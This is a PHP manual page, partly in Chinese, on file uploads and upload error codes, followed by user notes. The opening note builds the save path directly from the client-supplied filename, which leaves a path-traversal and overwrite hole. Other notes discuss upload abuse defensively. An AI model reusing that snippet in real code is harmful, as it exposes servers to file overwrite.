As it has been mentioned, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
am at netactor dot NO_SPAN dot com 14-Mar-2002 10:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>


POST 方法上传

本特性可以使用户上传文本和二进制文件。用 PHP 的认证和文件操作函数，可以完全控制允许哪些人上传以及文件上传后怎样处理。

PHP 能够接受任何来自符合 RFC-1867 标准的浏览器上传的文件。

Note: 相关的设置

请参阅 php.ini 的 file_uploads，upload_max_filesize，upload_tmp_dir，post_max_size 以及 max_input_time 设置选项。

请注意 PHP 也支持 PUT 方法的文件上传，Netscape Composer 和 W3C 的 Amaya 客户端使用这种方法。请参阅对 PUT 方法的支持以获取更多信息。

Example #1 文件上传表单

可以如下建立一个特殊的表单来支持文件上传：

<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

以上范例中的 __URL__ 应该被换掉，指向一个真实的 PHP 文件。

MAX_FILE_SIZE 隐藏字段（单位为字节）必须放在文件输入字段之前，其值为接收文件的最大尺寸。这是对浏览器的一个建议，PHP 也会检查此项。在浏览器端可以简单绕过此设置，因此不要指望用此特性来阻挡大文件。实际上，PHP 设置中的上传文件最大值是不会失效的。但是最好还是在表单中加上此项目，因为它可以避免用户在花时间等待上传大文件之后才发现文件过大上传失败的麻烦。

Note:

要确保文件上传表单的属性是 enctype="multipart/form-data"，否则文件上传不了。

全局变量 $_FILES 包含有所有上传的文件信息。 数组的内容来自以下范例表单。我们假设文件上传字段的名称如下例所示，为 userfile。名称可随意命名。

$_FILES['userfile']['name']

客户端机器文件的原名称。

$_FILES['userfile']['type']

文件的 MIME 类型，如果浏览器提供此信息的话。一个例子是"image/gif"。不过此 MIME 类型在 PHP 端并不检查，因此不要想当然认为有这个值。

$_FILES['userfile']['size']

已上传文件的大小，单位为字节。

$_FILES['userfile']['tmp_name']

文件被上传后在服务端储存的临时文件名。

$_FILES['userfile']['error']

和该文件上传相关的错误代码。

$_FILES['userfile']['full_path']

浏览器提交的完整路径。该值并不总是包含真实的目录结构，因此不能被信任。从 PHP 8.1.0 起可用。

文件被上传后，默认地会被储存到服务端的默认临时目录中，除非 php.ini 中的 upload_tmp_dir 设置为其它的路径。服务端的默认临时目录可以通过更改 PHP 运行环境的环境变量 TMPDIR 来重新设置，但是在 PHP 脚本内部通过运行 putenv() 函数来设置是不起作用的。该环境变量也可以用来确认其它的操作也是在上传的文件上进行的。

Example #2 验证上传的文件

请查阅函数 is_uploaded_file() 和 move_uploaded_file() 以获取进一步的信息。 以下范例处理由表单提供的文件上传。

<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

接受上传文件的 PHP 脚本为了决定接下来要对该文件进行哪些操作，应该实现任何逻辑上必要的检查。例如可以用 $_FILES['userfile']['size'] 变量来排除过大或过小的文件，也可以通过 $_FILES['userfile']['type'] 变量来排除文件类型和某种标准不相符合的文件，但只把这个当作一系列检查中的第一步，因为此值完全由客户端控制而在 PHP 端并不检查。同时，还可以通过 $_FILES['userfile']['error'] 变量来根据不同的错误代码来计划下一步如何处理。不管怎样，要么将该文件从临时目录中删除，要么将其移动到其它的地方。

如果表单中没有选择上传的文件，则 PHP 变量 $_FILES['userfile']['size'] 的值将为 0，$_FILES['userfile']['tmp_name'] 将为空。

如果该文件没有被移动到其它地方也没有被改名，则该文件将在表单请求结束时被删除。

Example #3 上传一组文件

PHP 的 HTML 数组特性甚至支持文件类型。

<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
// basename() may prevent filesystem traversal attacks;
// further validation/sanitation of the filename may be appropriate
$name = basename($_FILES["pictures"]["name"][$key]);
move_uploaded_file($tmp_name, "data/$name");
}
}
?>

File upload progress bar can be implemented using Session Upload Progress.

User Contributed Notes

fravadona at gmail dot com 11-Apr-2020 11:13
mpyw is right, PSR-7 is awesome but a little overkill for simple projects (in my opinion).

Here's an example of function that returns the file upload metadata in a (PSR-7 *like*) normalized tree. This function deals with whatever dimension of upload metadata.

I kept the code extremely simple, it doesn't validate anything in $_FILES, etc... AND MOST IMPORTANTLY, it calls array_walk_recursive in an *undefined behaviour* way!!!

You can test it against the examples of the PSR-7 spec ( https://www.php-fig.org/psr/psr-7/#16-uploaded-files ) and try to add your own checks that will detect the error in the last example ^^

<?php
/**
 *  THIS CODE IS ABSOLUTELY NOT MEANT FOR PRODUCTION !!! MAY ITS INSIGHTS HELP YOU !!!
 */
function getNormalizedFiles()
{
  $normalized = array();

  if ( isset($_FILES) ) {

    foreach ( $_FILES as $field => $metadata ) {

      $normalized[$field] = array(); // needs initialization for array_replace_recursive

      foreach ( $metadata as $meta => $data ) { // $meta is 'tmp_name', 'error', etc...

        if ( is_array($data) ) {

          // insert the current meta just before each leaf !!! WRONG USE OF ARRAY_WALK_RECURSIVE !!!
          array_walk_recursive($data, function (&$v,$k) use ($meta) { $v = array( $meta => $v ); });

          // fuse the current metadata with the previous ones
          $normalized[$field] = array_replace_recursive($normalized[$field], $data);

        } else {
          $normalized[$field][$meta] = $data;
        }
      }
    }
  }
  return $normalized;
}
?>
katrinaelaine6 at gmail dot com 06-Nov-2017 06:16
Here's a complete example of the $_FILES array with nested and non-nested names. Let's say we have this html form:

<form action="test.php" method="post">

    <input type="file" name="single" id="single">

    <input type="file" name="nested[]"          id="nested_one">
    <input type="file" name="nested[root]"      id="nested_root">
    <input type="file" name="nested[][]"        id="nested_two">
    <input type="file" name="nested[][parent]"  id="nested_parent">
    <input type="file" name="nested[][][]"      id="nested_three">
    <input type="file" name="nested[][][child]" id="nested_child">

    <input type="submit" value="Submit">

</form>

In the test.php file:

<?php

    print_r($_FILES);
    exit;

?>

If we upload a text file with the same name as the input id for each input and click submit, test.php will output this:

<?php

Array
(

    [single] => Array
        (
            [name] => single.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpApO28i
            [error] => 0
            [size] => 3441
        )

    [nested] => Array
        (
            [name] => Array
                (
                    [0] => nested_one.txt
                    [root] => nested_root.txt
                    [1] => Array
                        (
                            [0] => nested_two.txt
                        )

                    [2] => Array
                        (
                            [parent] => nested_parent.txt
                        )

                    [3] => Array
                        (
                            [0] => Array
                                (
                                    [0] => nested_three.txt
                                )

                        )

                    [4] => Array
                        (
                            [0] => Array
                                (
                                    [child] => nested_child.txt
                                )

                        )

                )

            // type, tmp_name, size, and error will have the same structure.
        )

)

?>
Anonymous 21-Feb-2017 10:56
I have found it useful to re-order the multidimensional $_FILES array into a more intuitive format, as proposed by many other developers already.

Unfortunately, most of the proposed functions are not able to re-order the $_FILES array when it has more than 1 additional dimension.

Therefore, I would like to contribute the function below, which is capable of meeting the aforementioned requirement:

<?php
    function get_fixed_files() {
        $function = function($files, $fixed_files = array(), $path = array()) use (&$function) {
            foreach ($files as $key => $value) {
                $temp = $path;
                $temp[] = $key;

                if (is_array($value)) {
                    $fixed_files = $function($value, $fixed_files, $temp);
                } else {
                    $next = array_splice($temp, 1, 1);
                    $temp = array_merge($temp, $next);

                    $new = &$fixed_files;

                    foreach ($temp as $key) {
                        $new = &$new[$key];
                    }

                    $new = $value;
                }
            }

            return $fixed_files;
        };

        return $function($_FILES);
    }
?>

Side note: the unnamed function within the function is used to avoid confusion regarding the arguments necessary for the recursion within the function, for example when viewing the function in an IDE.
mpyw 24-Jul-2016 06:44
Do not use Coreywelch or Daevid's way, because their methods can handle only within two-dimensional structure. $_FILES can consist of any hierarchy, such as 3d or 4d structure.

The following example form breaks their codes:

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="files[x][y][z]">
    <input type="submit">
</form>

As the solution, you should use PSR-7 based zendframework/zend-diactoros.

GitHub:

https://github.com/zendframework/zend-diactoros

Example:

<?php

use Psr\Http\Message\UploadedFileInterface;
use Zend\Diactoros\ServerRequestFactory;

$request = ServerRequestFactory::fromGlobals();

if ($request->getMethod() !== 'POST') {
    http_response_code(405);
    exit('Use POST method.');
}

$uploaded_files = $request->getUploadedFiles();

if (
    !isset($uploaded_files['files']['x']['y']['z']) ||
    !$uploaded_files['files']['x']['y']['z'] instanceof UploadedFileInterface
) {
    http_response_code(400);
    exit('Invalid request body.');
}

$file = $uploaded_files['files']['x']['y']['z'];

if ($file->getError() !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('File uploading failed.');
}

$file->moveTo('/path/to/new/file');

?>
coreywelch+phpnet at gmail dot com 17-Feb-2016 10:29
The documentation doesn't have any details about how the HTML array feature formats the $_FILES array.

Example $_FILES array:

For single file -

Array
(
    [document] => Array
        (
            [name] => sample-file.doc
            [type] => application/msword
            [tmp_name] => /tmp/path/phpVGCDAJ
            [error] => 0
            [size] => 0
        )
)

Multi-files with HTML array feature -

Array
(
    [documents] => Array
        (
            [name] => Array
                (
                    [0] => sample-file.doc
                    [1] => sample-file.doc
                )

            [type] => Array
                (
                    [0] => application/msword
                    [1] => application/msword
                )

            [tmp_name] => Array
                (
                    [0] => /tmp/path/phpVGCDAJ
                    [1] => /tmp/path/phpVGCDAJ
                )

            [error] => Array
                (
                    [0] => 0
                    [1] => 0
                )

            [size] => Array
                (
                    [0] => 0
                    [1] => 0
                )

        )

)

The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array.

<?php

    function normalize_files_array($files = []) {

        $normalized_array = [];

        foreach($files as $index => $file) {

            if (!is_array($file['name'])) {
                $normalized_array[$index][] = $file;
                continue;
            }

            foreach($file['name'] as $idx => $name) {
                $normalized_array[$index][$idx] = [
                    'name' => $name,
                    'type' => $file['type'][$idx],
                    'tmp_name' => $file['tmp_name'][$idx],
                    'error' => $file['error'][$idx],
                    'size' => $file['size'][$idx]
                ];
            }

        }

        return $normalized_array;

    }

?>

The following is the output from the above method.

Array
(
    [document] => Array
        (
            [0] => Array
                (
                [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

    [documents] => Array
        (
            [0] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

            [1] => Array
                (
                    [name] => sample-file.doc
                    [type] => application/msword
                    [tmp_name] => /tmp/path/phpVGCDAJ
                    [error] => 0
                    [size] => 0
                )

        )

)
anon 08-Jul-2015 10:19
For clarity; the reason you would NOT want to replace the example script with
$uploaddir = './';
is because if you have no coded file constraints a nerd could upload a php script with the same name of one of your scripts in the scripts directory.

Given the right settings and permissions php-cgi is capable of replacing even php files.

Imagine if it replaced the upload post processor file itself. The next "upload" could lead to some easy exploits.

Even when replacements are not possible; uploading an .htaccess file could cause some problems, especially if it is sent after the nerd throws in a devious script to use htaccess to redirect to his upload.

There are probably more ways of exploiting it. Don't let the nerds get you.

More sensible to use a fresh directory for uploads with some form of unique naming algorithm; maybe even a cron job for sanitizing the directory so older files do not linger for too long.
bimal at sanjaal dot com 26-Dec-2014 11:44
Some suggestions here:

1. It is always better to check for your error status. If MAX_FILE_SIZE is active and the uploaded file crossed the limit, it will set the error. So, only when error is zero (0), move the file.

2. If possible, never allow your script to upload in the path where file can be downloaded. Point your upload path to outside of public_html area or prevent direct browsing (using .htaccess restrictions). Think, if someone uploads malicious code, specially php codes, they will be executed on the server.

3. Do not use the file name sent by the client. Regenerate a new name for newly uploaded file. This prevents overwriting your old files.

4. Regularly track the disk space consumed, if you are running out of storage.
Age Bosma 10-Jun-2011 02:49
"If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none."

Note that the situation above is the same when a file exceeding the MAX_FILE_SIZE hidden field is being uploaded. In this case $_FILES['userfile']['size'] is also set to 0, and $_FILES['userfile']['tmp_name'] is also empty. The difference would only be the error code.
Simply checking for these two conditions and assuming no file upload has been attempted is incorrect.

Instead, check if $_FILES['userfile']['name'] is set or not. If it is, a file upload has at least been attempted (a failed attempt or not). If it is not set, no attempt has been made.
Mark 29-Sep-2010 04:12
$_FILES will be empty if a user attempts to upload a file greater than post_max_size in your php.ini

post_max_size should be >= upload_max_filesize in your php.ini.
daevid at daevid dot com 11-Jun-2009 02:35
I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpn3FmFr
            [error] => 0
            [size] => 15476
        )

    [1] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] =>
        )
)

and not this
Array
(
    [name] => Array
        (
            [0] => facepalm.jpg
            [1] =>
        )

    [type] => Array
        (
            [0] => image/jpeg
            [1] =>
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpn3FmFr
            [1] =>
        )

    [error] => Array
        (
            [0] => 0
            [1] => 4
        )

    [size] => Array
        (
            [0] => 15476
            [1] => 0
        )
)

Anyways, here is a fuller example than the sparce one in the documentation above:

<?php
foreach ($_FILES["attachment"]["error"] as $key => $error)
{
       $tmp_name = $_FILES["attachment"]["tmp_name"][$key];
       if (!$tmp_name) continue;

       $name = basename($_FILES["attachment"]["name"][$key]);

    if ($error == UPLOAD_ERR_OK)
    {
        if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
            $uploaded_array[] .= "Uploaded file '".$name."'.<br/>\n";
        else
            $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'<br/>\n";
    }
    else $errormsg .= "Upload error. [".$error."] on file '".$name."'<br/>\n";
}
?>
eslindsey at gmail dot com 29-Mar-2009 11:09
Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side.  You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.  This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).
claude dot pache at gmail dot com 19-Mar-2009 09:26
Note that the MAX_FILE_SIZE hidden field is only used by the PHP script which receives the request, as an instruction to reject files larger than the given bound. This field has no significance for the browser, it does not provide a client-side check of the file-size, and it has nothing to do with web standards or browser features.


错误信息说明

PHP 将随文件信息数组一起返回一个对应的错误代码。该代码可以在文件上传时生成的文件数组中的 error 字段中被找到，也就是 $_FILES['userfile']['error']。

UPLOAD_ERR_OK

其值为 0，没有错误发生，文件上传成功。

UPLOAD_ERR_INI_SIZE

其值为 1，上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE

其值为 2，上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL

其值为 3，文件只有部分被上传。

UPLOAD_ERR_NO_FILE

其值为 4，没有文件被上传。

UPLOAD_ERR_NO_TMP_DIR

其值为 6，找不到临时文件夹。

UPLOAD_ERR_CANT_WRITE

其值为 7，文件写入失败。

UPLOAD_ERR_EXTENSION

Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help.

User Contributed Notes

Sohaib Essam 16-Jun-2023 08:35
switch ($_FILES["image"]["error"]) {
        case UPLOAD_ERR_PARTIAL:
            exit('File only partially uploaded');
            break;
        case UPLOAD_ERR_NO_FILE:
            exit('No file was uploaded');
            break;
        case UPLOAD_ERR_EXTENSION:
            exit('File upload stopped by a PHP extension');
            break;
        case UPLOAD_ERR_FORM_SIZE:
            exit('File exceeds MAX_FILE_SIZE in the HTML form');
            break;
        case UPLOAD_ERR_INI_SIZE:
            exit('File exceeds upload_max_filesize in php.ini');
            break;
        case UPLOAD_ERR_NO_TMP_DIR:
            exit('Temporary folder not found');
            break;
        case UPLOAD_ERR_CANT_WRITE:
            exit('Failed to write file');
            break;
        default:
            exit('Unknown upload error');
            break;
    }
jalcort at att dot net 07-Feb-2020 03:57
When uploading a file, it is common to visit the php.ini and set up upload_tmp_dir = /temp but in the case of some web hostess as fatcow you need to direct not only /tmp but upload_tmp_dir = /hermes/walnaweb13a/b345/moo.youruser/tmp

If not the $_FILES show you an error #6 "Missing a temporary folder
admin at compumatter dot com 14-Dec-2019 07:42
We use this function to handle file uploads.

Since $_FILES allows for more than a single file, this loops through each file and if there's an error, it is displayed in human readable language to the error log and then returned / exited.  You can adjust that to echo's if preferred:

function file_upload_test($messageBefore="CM FILE UPLOAD MESSAGE"){
    global $_FILES;
    # a single file limit
    $upload_max_size = ini_get('upload_max_filesize');
    # the combination of a batch o multiple files
    $post_max_size = ini_get('post_max_size');
    # array of possible fails which are retuned below in if $key=error section
    $phpFileUploadErrors = array(
        0 => 'There is no error, the file uploaded with success',
        1 => 'Exceeds php.ini upload_max_filesize of '.$upload_max_size.'MB',
        2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
        3 => 'The uploaded file was only partially uploaded',
        4 => 'No file was uploaded',
        6 => 'Missing a temporary folder',
        7 => 'Failed to write file to disk.',
        8 => 'A PHP extension stopped the file upload.',
    );

    error_log("========================================");
    error_log("$messageBefore");
    error_log("========================================");
    foreach ($_FILES['cmmediabrowsedfor'] as $key => $value) {
       ${$key}=$value;
       error_log('$_FILES ['.$key.'] = ['.$value.']');
       if(is_array($value)){
            foreach ($value as $key2 => $value2) {
                error_log('   >   $_FILES ['.$key.']['.$key2.'] = '.$value2);
                if($key=='error'){
                     error_log('   ******* CM Failed Upload: '.$phpFileUploadErrors[$value2]);
                     error_log('           Exit / Return in plugins/cm-alpha/php/images/img-create-tmp.php');
                     error_log(' ');
                     exit;
                }
            }
       }
    }
    if(!file_exists($_FILES["cmmediabrowsedfor"]["tmp_name"][0]) || !is_uploaded_file($_FILES["cmmediabrowsedfor"]["tmp_name"][0])) {
        error_log("NO FILE GOT UPLOADED ");
    } else {
        error_log("SUCCESS FILE GOT UPLOADED ");
    }
}
roger dot vermeir at nokia dot com 17-Sep-2018 03:51
Just found out that it is very important to define the
input type="hidden" name="MAX_FILE_SIZE" value=...
AFTER defining the input type="FILE" name=...
in your html/php.
If you swap them around, you will keep getting the filesize exceeded (error 2)!
Hope this helps.
Roger
roland at REMOVE_ME dot mxchange dot org 22-Mar-2018 05:03
I have expanded @adam at gotlinux dot us's example a bit with proper UPLOAD_FOO constants and gettext support. Also UPLOAD_ERR_EXTENSION is added (was missing in his version). Hope this helps someone.

<?php
class Some {
    /**
     * Upload error codes
     * @var array
     */
    private static $upload_errors = [];

    public function __construct() {
        // Init upload errors
        self::$upload_errors = [
            UPLOAD_ERR_OK => _('There is no error, the file uploaded with success.'),
            UPLOAD_ERR_INI_SIZE => _('The uploaded file exceeds the upload_max_filesize directive in php.ini.'),
            UPLOAD_ERR_FORM_SIZE => _('The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'),
            UPLOAD_ERR_PARTIAL => _('The uploaded file was only partially uploaded.'),
            UPLOAD_ERR_NO_FILE => _('No file was uploaded.'),
            UPLOAD_ERR_NO_TMP_DIR => _('Missing a temporary folder.'),
            UPLOAD_ERR_CANT_WRITE => _('Cannot write to target directory. Please fix CHMOD.'),
            UPLOAD_ERR_EXTENSION => _('A PHP extension stopped the file upload.'),
        ];
    }
}
?>
viseth10 at gmail dot com 21-Aug-2017 01:31
[Well just a little note. ]
That UploadException class example posted on top by anonymous is great. It works good. But there is a certain problem. You know there are two sides to generating errors.
First -> for the client side.
Second -> for the developers who will use your script

But i see only one side to generating Exceptions. ie For the developers.

Why ? Because when you generate an Exception, your script will come to an halt and do whatever you have defined in catch clause.
Now you dont want any client to see the Exception, do you ? I will not. The client will want to know what error occured in simple words they can understand instead of wanting their web app crashed if upload fails. So,  dont generate exceptions. These errors should be collected and shown to client in an elegant way. That's a little advice.
Keep developing smarter.
Tom 05-Jan-2015 03:29
As it is common to use move_uploaded_file with file uploads, how to get it's error messages should be noted here (especially since it's not noted anywhere else in the manual).
Common code is to do something like:
 if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!!</P>";
      print_r(error_get_last());
   }
rlerne at gmail dot com 26-Sep-2014 09:11
This updates "adam at gotlinux dot us" above and makes it version aware, and also adds newer constants to the array.

The reason we want to check the version is that the constants are not defined in earlier versions, and they appear later in the array. They would effectively overwrite the "0" index (no error) with an error message when the file actually uploaded fine.

It also drops the constant's value (0,1,2, etc) for the errors, in the likely event that they are changed later (the code should still work fine).

<?php

$upload_errors = array(
    0                        => "There is no error, the file uploaded with success"
    ,UPLOAD_ERR_INI_SIZE    => "The uploaded file exceeds the upload_max_filesize directive in php.ini"
    ,UPLOAD_ERR_FORM_SIZE    => "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
    ,UPLOAD_ERR_PARTIAL        => "The uploaded file was only partially uploaded"
    ,UPLOAD_ERR_NO_FILE        => "No file was uploaded"
);

if (version_compare(PHP_VERSION, '5.0.3') >= 0)
    $upload_errors[UPLOAD_ERR_NO_TMP_DIR] = "Missing a temporary folder";

if (version_compare(PHP_VERSION, '5.1.0') >= 0)
    $upload_errors[UPLOAD_ERR_CANT_WRITE] = "Failed to write to disk";

if (version_compare(PHP_VERSION, '5.2.0') >= 0)
    $upload_errors[UPLOAD_ERR_EXTENSION] = "File upload stopped by extension";
?>
Viktor 17-Sep-2014 09:14
Update to Adams old comment.

This is probably useful to someone.

<?php

$phpFileUploadErrors = array(
    0 => 'There is no error, the file uploaded with success',
    1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
    2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
    3 => 'The uploaded file was only partially uploaded',
    4 => 'No file was uploaded',
    6 => 'Missing a temporary folder',
    7 => 'Failed to write file to disk.',
    8 => 'A PHP extension stopped the file upload.',
);
Jeff Miner mrjminer AT gmail DOT com 10-Aug-2010 01:32
One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space.  Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context.

So, instead of this:
-----
<?php
if($_FILES['userfile']['error']) {
  // handle the error
} else {
  // process
}
?>
-----
You have to do this:
-----
<?php
if($_FILES['userfile']['error']==0) {
  // process
} else {
  // handle the error
}
?>
-----
Also, ctype_digit fails, but is_int works.  If you're wondering... no, it doesn't make any sense.

To Schoschie:

You ask the question:  Why make stuff complicated when you can make it easy?  I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement.  In a loop, that would be deadly... try this instead:

-----
<?php
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);

// Outside a loop...
if($_FILES['userfile']['error']==0) {
  // process
} else {
  $error_message = $error_types[$_FILES['userfile']['error']];
  // do whatever with the error message
}

// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
  if($_FILES['userfile']['error'][$x]==0) {
    // process
  } else {
    $error_message = $error_types[$_FILES['userfile']['error'][$x]];
    // Do whatever with the error message
  }
}

// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
Tom 09-Aug-2010 03:06
Note: something that might surprise you, PHP also provides a value in the $_FILES array, if the input element has no value at all, stating an error UPLOAD_ERR_NO_FILE.

So UPLOAD_ERR_NO_FILE is not an error, but a note that the input element just had no value. Thus you can't rely on the $_FILES array to see if a file was provided. Instead you have to walk the array and check every single damn entry - which can be quite difficult since the values may be nested if you use input elements named like "foo[bar][bla]".

Seems like PHP just introduced you to yet another common pitfall.
jille at quis dot cx 24-May-2009 08:12
UPLOAD_ERR_PARTIAL is given when the mime boundary is not found after the file data. A possibly cause for this is that the upload was cancelled by the user (pressed ESC, etc).
Anonymous 04-Mar-2009 06:32
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

This is a handy exception to use when handling upload errors:

<?php

class UploadException extends Exception
{
    public function __construct($code) {
        $message = $this->codeToMessage($code);
        parent::__construct($message, $code);
    }

    private function codeToMessage($code)
    {
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE:
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break;
            case UPLOAD_ERR_PARTIAL:
                $message = "The uploaded file was only partially uploaded";
                break;
            case UPLOAD_ERR_NO_FILE:
                $message = "No file was uploaded";
                break;
            case UPLOAD_ERR_NO_TMP_DIR:
                $message = "Missing a temporary folder";
                break;
            case UPLOAD_ERR_CANT_WRITE:
                $message = "Failed to write file to disk";
                break;
            case UPLOAD_ERR_EXTENSION:
                $message = "File upload stopped by extension";
                break;

            default:
                $message = "Unknown upload error";
                break;
        }
        return $message;
    }
}

// Use
 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
info at foto50 dot com 03-Jul-2007 02:03
For those reading this manual in german (and/or probably some other languages) and you miss error numbers listed here, have a look to the english version of this page ;)
belowtherim2000 at yahoo dot com 20-Jun-2007 06:25
I've been playing around with the file size limits and with respect to the post_max_size setting, there appears to be a hard limit of 2047M.  Any number that you specify above that results in a failed upload without any informative error describing what went wrong.  This happens regardless of how small the file you're uploading may be.  On error, my page attempts to output the name of the original file.  But what I discovered is that this original file name, which I maintained in a local variable, actually gets corrupted.  Even my attempt to output the error code in $_FILES['uploadedfiles']['error'] returns an empty string/value.

Hopefully, this tidbit will save someone else some grief.
svenr at selfhtml dot org 23-Apr-2007 03:15
Clarification on the MAX_FILE_SIZE hidden form field and the UPLOAD_ERR_FORM_SIZE error code:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
web att lapas dott id dott lv 23-Feb-2007 05:49
1. And what about multiple file upload ? - If there is an UPLOAD_ERR_INI_SIZE error with multiple files - we can`t detect it normaly ? ...because that we have an array, but this error returns null and can`t use foreach. So, by having a multiple upload, we can`t normaly inform user about that.. we can just detect, that sizeof($_FILES["file"]["error"]) == 0 , but we can`t actualy return an error code. The max_file_size also is not an exit, becouse it refers on each file seperatly, but upload_max_filesize directive in php.ini refers to all files together. So, for example, if upload_max_filesize=8Mb , max_file_size = 7Mb and one of my files is 6.5Mb and other is 5Mb, it exeeds the upload_max_filesize - cant return an error, becouse we don`t know where to get that error.
Unfortunately we cannot get the file sizes on client side, even AJAX normaly can`t do that.

2. If in file field we paste something, like, D:\whatever , then there also isn`t an error to return in spite of that no such file at all.
stephen at poppymedia dot co dot uk 26-Sep-2005 03:05
if post is greater than post_max_size set in php.ini

$_FILES and $_POST will return empty
adam at gotlinux dot us 27-May-2005 07:28
This is probably useful to someone.

<?php
array(
        0=>"There is no error, the file uploaded with success",
        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
        3=>"The uploaded file was only partially uploaded",
        4=>"No file was uploaded",
        6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu 15-Feb-2005 07:13
